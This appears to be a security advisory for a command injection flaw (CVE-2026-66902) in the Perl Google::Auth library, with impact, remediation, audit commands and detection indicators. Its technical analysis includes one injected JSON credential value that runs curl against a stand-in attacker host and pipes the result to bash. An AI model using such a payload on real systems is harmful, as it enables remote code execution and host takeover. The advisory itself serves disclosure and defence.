CVE-2026-66902: Google::Auth Perl Library RCE via Credential JSON Injection

Executive Summary

A critical command injection vulnerability (CVE-2026-66902) has been disclosed in the Google::Auth Perl library for versions prior to 0.06. The flaw allows an attacker who can supply or manipulate an external_account credentials JSON file to achieve unauthenticated remote code execution on the affected host.

CVSS Score: 9.8 (Critical)

The root cause is the Pluggable subclass reading credential_source.executable.command from the credentials JSON and invoking it via a single-argument system($command) call — with no validation, sandboxing, or privilege check performed before execution.

Vulnerability Overview

Attribute	Value
CVE ID	CVE-2026-66902
CVSS Score	9.8 (Critical)
Type	OS Command Injection (CWE-78)
Attack Vector	Network / Local (depends on credential delivery path)
Privileges Required	None (in many deployment scenarios)
User Interaction	None
Component	`Google::Auth` Perl — `Pluggable` subclass
Fixed Version	0.06

Affected Versions

Library	Affected Versions	Fixed Version
Google::Auth (Perl)	< 0.06	0.06

Technical Analysis

The Pluggable subclass within Google::Auth is designed to support external account credentials, a mechanism for authenticating workloads outside of Google Cloud using Workload Identity Federation. The credential source is defined in a JSON file that includes an executable block:

{
  "type": "external_account",
  "credential_source": {
    "executable": {
      "command": "/path/to/credential-helper",
      "timeout_millis": 5000
    }
  }
}

In vulnerable versions, the library reads the command value and passes it directly to system():

system($command);   # Ungated — no validation, no allow-list

Since Perl's single-argument system() invokes a shell when the string contains shell metacharacters, an attacker who controls the credentials JSON can inject arbitrary shell commands:

{
  "credential_source": {
    "executable": {
      "command": "/usr/bin/id; curl http://attacker.com/shell.sh | bash"
    }
  }
}

Attack Paths

Vector	Scenario
Malicious credentials file	Attacker places or modifies a credentials JSON on the target filesystem
SSRF / path traversal	Application loads credentials from a user-influenced path
CI/CD pipeline injection	Workload Identity credentials sourced from an untrusted pipeline artifact
Supply chain	Dependency on an upstream package that provides credentials configuration

Impact

A successful exploit grants the attacker the ability to execute arbitrary OS commands in the context of the process running the Perl application. Typical consequences include:

Full host compromise and persistent backdoor installation
Credential and secret exfiltration from the runtime environment
Lateral movement within cloud environments via the stolen identity tokens
Data destruction or ransomware staging

Immediate Remediation

Step 1: Upgrade Google::Auth

# Using cpanm
cpanm Google::Auth
 
# Verify the installed version
perl -e 'use Google::Auth; print $Google::Auth::VERSION, "\n"'
# Should output 0.06 or higher

Step 2: Audit Credentials Files

Inspect all external_account credential JSON files used by your Perl applications:

# Find credential JSON files
find /etc /home /var /opt -name "*.json" 2>/dev/null | xargs grep -l "external_account" 2>/dev/null
 
# Review command fields
jq -r '.credential_source.executable.command // empty' /path/to/credentials.json

Ensure all command values reference trusted, fixed binary paths and cannot be influenced by user input or external data.

Step 3: Apply Defense-in-Depth

Even after patching, enforce least-privilege on any process loading external_account credentials:

# Example: run the application as a dedicated low-privilege user
useradd -r -s /usr/sbin/nologin app-svc
chown app-svc:app-svc /path/to/credentials.json
chmod 400 /path/to/credentials.json

Detection Indicators

Indicator	Description
`system()` calls with non-literal arguments in `Google::Auth` logs	May indicate exploitation or testing
Unexpected outbound network connections from app process	Post-exploitation callback
Credentials JSON files with unusual `command` values	Tampered credential source
New user accounts or SSH authorized_keys changes	Post-exploitation persistence

Workaround (If Patching Is Delayed)

If an immediate upgrade is not possible:

Restrict write access to all credentials JSON files consumed by your application.
Audit command values in every external_account credentials file and validate they reference known, trusted paths.
Run the application inside a restricted container (seccomp, AppArmor) to limit the blast radius of any system() call.
Disable external_account / Pluggable credential types in your application if not actively required.